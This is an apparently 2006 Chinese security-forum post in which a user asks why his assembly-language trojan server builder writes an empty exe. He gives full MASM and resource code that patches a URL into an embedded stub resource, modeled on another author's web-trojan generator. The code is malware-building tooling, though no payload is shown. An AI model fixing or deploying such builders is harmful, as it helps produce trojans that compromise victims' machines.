返回列表 发帖

[讨论]为什么生成器生成的exe是空的?大家有什么办法?

[讨论]为什么生成器生成的exe是空的?大家有什么办法?
议题作者:Asm
信息来源:邪恶八进制信息安全团队

这几天请教了mika,对木马生成器有些了解,逐渐用汇编语言写了一个,用VC++资源编辑器载入客户端后,接着查看二进制的资源如下:
   1.jpg (17 KB)

2006-12-24 03:29
   2.jpg (70 KB)

2006-12-24 03:29
   3.jpg (59 KB)

2006-12-24 03:29

现在我要替换掉内存地址是000800H的内容,按照一般的写法,主要代码如下:
复制内容到剪贴板
代码:
invoke FindResource,NULL,ASM,RT_RCDATA ;查找资源
    mov hRsrc,eax
     invoke SizeofResource,NULL,hRsrc ;获取资源长度
     mov dwSize,eax
     invoke LoadResource,NULL,hRsrc ;装载资源
     mov hResData,eax
     invoke GlobalAlloc,GPTR,dwSize ;分配内存
      mov lpData,eax
     invoke LockResource,hResData ;锁定它
     mov lpRes,eax
     invoke lstrcpyn,lpData,lpRes,dwSize ;按照mika的ms06041网马的写法
     invoke lstrlen,addr szBuffer  
     lea esi,szBuffer
     mov edi,lpData
     add edi,800h ;要替换的内容的内存地址
     mov ecx,eax
     cld
     rep movsb
     invoke CreateFile,offset szName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
     .if eax != NULL
          mov hFile,eax
     invoke WriteFile,hFile,lpData,dwSize,addr dwSizeWritten,NULL
写完后正常生成一个asm.exe,但是用VC++资源编辑器打开看二进制代码,打开发现就除了一个PE头MZ和我填写的URL,其他的PE资源就没有了,不过却能够把URL输入到000800H这个位置:
   1.jpg (63 KB)

2006-12-24 03:29
   2.jpg (64 KB)

2006-12-24 03:29


所以我猜想生成exe和htm的方法不一样!为了证实这个猜想,我用我编写的程序中的字符串"asm.exe"换成mika的"mika.htm",正常生成一个"mika.htm",并且能把URL写入正确的位置...

在主程序中,二进制的资源是正确的了,为什么生成的时候exe却是空的捏?

给出完整代码大家帮我看一下:
复制内容到剪贴板
代码:
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include      windows.inc
include      user32.inc
includelib   user32.lib
include      kernel32.inc
includelib   kernel32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Equ 等值定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN   equ      1000h   ;图标
DLG_MAIN   equ      1
IDC_URL equ     1001
ASM  equ    1002
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

.data?
hInstance   dd      ?
.data
szUrl db 156 dup(0)
szName db 'asm.exe',0
szText db '成功生成',0
szCaption db '恭喜',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
      .code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain   proc   uses ebx edi esi hWnd,wMsg,wParam,lParam
  LOCAL hRsrc,hResData,hFile,dwSize,dwSizeWritten,lpData,lpRes
    LOCAL szBuffer[100h]:byte
      mov   eax,wMsg
      .if   eax == WM_CLOSE
        invoke   EndDialog,hWnd,NULL
      .elseif   eax == WM_INITDIALOG
        invoke   LoadIcon,hInstance,ICO_MAIN
        invoke   SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
      .elseif   eax == WM_COMMAND
        mov   eax,wParam
        .if   ax == IDOK
           invoke   GetDlgItemText,hWnd,IDC_URL,addr szBuffer,sizeof szBuffer
      invoke FindResource,NULL,ASM,RT_RCDATA
               mov hRsrc,eax
     invoke SizeofResource,NULL,hRsrc
     mov dwSize,eax
     invoke LoadResource,NULL,hRsrc
     mov hResData,eax
     invoke GlobalAlloc,GPTR,dwSize
      mov lpData,eax
     invoke LockResource,hResData
     mov lpRes,eax
     invoke lstrcpyn,lpData,lpRes,dwSize
     invoke lstrlen,addr szBuffer  
     lea esi,szBuffer
     mov edi,lpData
     add edi,800h
     mov ecx,eax
     cld
     rep movsb
     invoke CreateFile,offset szName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
     .if eax != NULL
          mov hFile,eax
     invoke WriteFile,hFile,lpData,dwSize,addr dwSizeWritten,NULL
     invoke MessageBox,hWnd,offset szText,offset szCaption,MB_OK   
     invoke CloseHandle,hRsrc
     invoke CloseHandle,hResData
     invoke CloseHandle,hFile
     invoke GlobalFree,lpData
     .endif
        .endif
      .else
        mov   eax,FALSE
        ret
      .endif
      mov   eax,TRUE
      ret

_ProcDlgMain   endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
      invoke   GetModuleHandle,NULL
      mov   hInstance,eax
      invoke   DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,NULL
      invoke   ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
      end   start
复制内容到剪贴板
代码:
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#include      <resource.h>
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#define   ICO_MAIN      0x1000   //图标
#define   DLG_MAIN      1
#define  IDC_URL    1001
#define  ASM    1002
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN   ICON      "Main.ico"
ASM    RCDATA  DISCARDABLE "asm.exe"
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DLG_MAIN DIALOG 50, 50, 263, 51
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "木马服务端生成测试"
FONT 9, "宋体"
{
LTEXT        "正文:", -1,14,16,26,14
EDITTEXT      IDC_URL,43,16,148,14,ES_AUTOHSCROLL | WS_BORDER | WS_TABSTOP
PUSHBUTTON    "生成exe",IDOK,200,17,44,14
}
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn
帖子1604 精华30 积分8760 阅读权限150 性别男 在线时间954 小时 注册时间2006-9-21 最后登录2008-7-24 查看详细资料TOP 良辰择日,预测咨询,公司改名,权威易经

ybjh
荣誉会员

返回列表